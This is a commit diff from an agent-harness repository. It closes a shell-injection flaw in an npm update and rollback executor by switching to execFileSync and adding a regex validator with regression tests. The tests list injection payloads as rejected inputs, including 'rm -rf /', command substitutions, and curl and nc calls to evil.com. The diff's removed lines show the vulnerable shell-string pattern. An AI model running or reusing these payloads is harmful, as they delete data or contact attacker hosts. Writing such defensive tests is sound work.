Skip to content

armgit / ruflo

Public Imported from GitHub
0

🌊 The original agent harness. Deploy intelligent multi-player swarms, coordinate autonomous workflows, and build conversational AI systems. Features adaptive memory, self-learning intelligence, federation, vector RAG integration, and native Claude Code / Codex / Hermes and many more Integrated

fix(security): close shell injection in update/executor (audit_1776853149979)

Reuvenc1b57e4fd50a
diff --git a/v3/@claude-flow/cli/__tests__/update-executor-injection.test.ts b/v3/@claude-flow/cli/__tests__/update-executor-injection.test.ts
new file mode 100644
index 0000000000..d902a5c221
--- /dev/null
+++ b/v3/@claude-flow/cli/__tests__/update-executor-injection.test.ts
@@ -0,0 +1,89 @@
+/**
+ * Regression test for audit_1776853149979: src/update/executor.ts previously
+ * built `npm install ${pkg}@${version}` as a shell string and ran it via
+ * execSync. `pkg` and `version` come from npm-view output and the
+ * update-history.json file (writable by anyone with FS access). A
+ * tampered package name like 'evil; touch /tmp/x' would have been
+ * interpreted by /bin/sh.
+ *
+ * The fix swapped to execFileSync (no shell) AND added isSafePackageSpec
+ * as a pre-flight regex gate. This file pins the gate so a future
+ * refactor can't silently widen it.
+ */
+
+import { describe, it, expect } from 'vitest';
+import { isSafePackageSpec } from '../src/update/executor.js';
+
+describe('isSafePackageSpec (audit_1776853149979)', () => {
+ describe('happy path', () => {
+ it.each([
+ ['claude-flow', '3.6.10'],
+ ['@claude-flow/cli', '3.6.10'],
+ ['@claude-flow/cli', '3.6.10-alpha.1'],
+ ['some-pkg', 'latest'],
+ ['some-pkg', 'next'],
+ ['some-pkg', '^1.0.0'],
+ ['some-pkg', '~2.3.4'],
+ ['some-pkg', '1.x'],
+ ['some-pkg', '1.2.3+build.123'],
+ ])('accepts %s@%s', (pkg, version) => {
+ expect(isSafePackageSpec(pkg, version)).toBe(true);
+ });
+ });
+
+ describe('shell injection in package name', () => {
+ it.each([
+ ['evil; rm -rf /'],
+ ['evil`whoami`'],
+ ['evil$(whoami)'],
+ ['evil|cat'],
+ ['evil&touch'],
+ ['evil >output'],
+ ['evil\nrm'],
+ ['evil\\rm'],
+ ])('rejects package name "%s"', (pkg) => {
+ expect(isSafePackageSpec(pkg, '1.0.0')).toBe(false);
+ });
+ });
+
+ describe('shell injection in version', () => {
+ it.each([
+ ['1.0.0; rm -rf /'],
+ ['1.0.0`whoami`'],
+ ['1.0.0$(whoami)'],
+ ['1.0.0 && curl evil.com'],
+ ['1.0.0|nc evil.com'],
+ ])('rejects version "%s"', (version) => {
+ expect(isSafePackageSpec('claude-flow', version)).toBe(false);
+ });
+ });
+
+ describe('edge cases', () => {
+ it('rejects an empty package name', () => {
+ expect(isSafePackageSpec('', '1.0.0')).toBe(false);
+ });
+
+ it('rejects an empty version', () => {
+ expect(isSafePackageSpec('claude-flow', '')).toBe(false);
+ });
+
+ it('rejects a package name starting with a dot or hyphen', () => {
+ expect(isSafePackageSpec('-evil', '1.0.0')).toBe(false);
+ expect(isSafePackageSpec('.evil', '1.0.0')).toBe(false);
+ });
+
+ it('rejects a package name longer than the npm limit (214 chars)', () => {
+ expect(isSafePackageSpec('a'.repeat(215), '1.0.0')).toBe(false);
+ });
+
+ it('rejects a version longer than 64 chars', () => {
+ expect(isSafePackageSpec('claude-flow', '1.'.repeat(40))).toBe(false);
+ });
+
+ it('rejects a malformed scoped package name', () => {
+ expect(isSafePackageSpec('@/cli', '1.0.0')).toBe(false);
+ expect(isSafePackageSpec('@scope', '1.0.0')).toBe(false); // missing /name
+ expect(isSafePackageSpec('@scope/', '1.0.0')).toBe(false); // empty name
+ });
+ });
+});
diff --git a/v3/@claude-flow/cli/src/update/executor.ts b/v3/@claude-flow/cli/src/update/executor.ts
index baede8f5dd..fb6cfcbe94 100644
--- a/v3/@claude-flow/cli/src/update/executor.ts
+++ b/v3/@claude-flow/cli/src/update/executor.ts
@@ -3,13 +3,31 @@
* Includes rollback capability
*/
-import { execSync } from 'child_process';
+import { execFileSync } from 'child_process';
import * as fs from 'fs';
import * as path from 'path';
import * as os from 'os';
import { UpdateCheckResult } from './checker.js';
import { validateUpdate, ValidationResult } from './validator.js';
+/**
+ * audit_1776853149979: package name and version come from npm-view output and
+ * the update-history.json file (writable by anyone with FS access). Both
+ * previously interpolated straight into a shell string for `npm install`.
+ * These regexes pre-flight values so a hostile package name can't slip
+ * shell metacharacters through, even though execFileSync below already
+ * eliminates the shell.
+ */
+// First char of the unscoped name forbids `-` to defang CLI-flag confusion
+// when the spec is passed to npm (npm install [email protected] looks flag-shaped).
+const SAFE_PKG_RE = /^(@[a-zA-Z0-9_\-]+\/)?[a-zA-Z0-9_][a-zA-Z0-9_\-.]{0,213}$/;
+// semver / dist-tag / range chars only — no shell metas.
+const SAFE_VERSION_RE = /^[a-zA-Z0-9._\-+~^*xX]{1,64}$/;
+
+export function isSafePackageSpec(pkg: string, version: string): boolean {
+ return SAFE_PKG_RE.test(pkg) && SAFE_VERSION_RE.test(version);
+}
+
export interface UpdateHistoryEntry {
timestamp: string;
package: string;
@@ -95,15 +113,31 @@ export async function executeUpdate(
};
}
- try {
- // Execute npm install
- const installCmd = `npm install ${update.package}@${update.latestVersion} --save-exact`;
+ // audit_1776853149979: validate package + version regex before any exec.
+ if (!isSafePackageSpec(update.package, update.latestVersion)) {
+ return {
+ success: false,
+ package: update.package,
+ version: update.latestVersion,
+ error: `Refusing to install: package or version contains disallowed characters (pkg="${update.package}", version="${update.latestVersion}")`,
+ validation,
+ };
+ }
- execSync(installCmd, {
- encoding: 'utf-8',
- stdio: 'pipe',
- timeout: 60000, // 1 minute timeout
- });
+ try {
+ // audit_1776853149979: switched to execFileSync('npm', argv) — no shell,
+ // so even if validation regressed, metas in update.package would stay
+ // literal in the argv slot.
+ execFileSync(
+ 'npm',
+ ['install', `${update.package}@${update.latestVersion}`, '--save-exact'],
+ {
+ encoding: 'utf-8',
+ stdio: 'pipe',
+ timeout: 60000, // 1 minute timeout
+ shell: false,
+ },
+ );
// Record successful update
recordUpdate({
@@ -196,15 +230,27 @@ export async function rollbackUpdate(
};
}
- try {
- // Install the previous version
- const installCmd = `npm install ${lastUpdate.package}@${lastUpdate.fromVersion} --save-exact`;
+ // audit_1776853149979: history entries can be tampered with by anyone who
+ // can write update-history.json — gate before exec.
+ if (!isSafePackageSpec(lastUpdate.package, lastUpdate.fromVersion)) {
+ return {
+ success: false,
+ message: `Refusing to rollback: package or version contains disallowed characters (pkg="${lastUpdate.package}", version="${lastUpdate.fromVersion}")`,
+ };
+ }
- execSync(installCmd, {
- encoding: 'utf-8',
- stdio: 'pipe',
- timeout: 60000,
- });
+ try {
+ // execFileSync, no shell.
+ execFileSync(
+ 'npm',
+ ['install', `${lastUpdate.package}@${lastUpdate.fromVersion}`, '--save-exact'],
+ {
+ encoding: 'utf-8',
+ stdio: 'pipe',
+ timeout: 60000,
+ shell: false,
+ },
+ );
// Record the rollback
recordUpdate({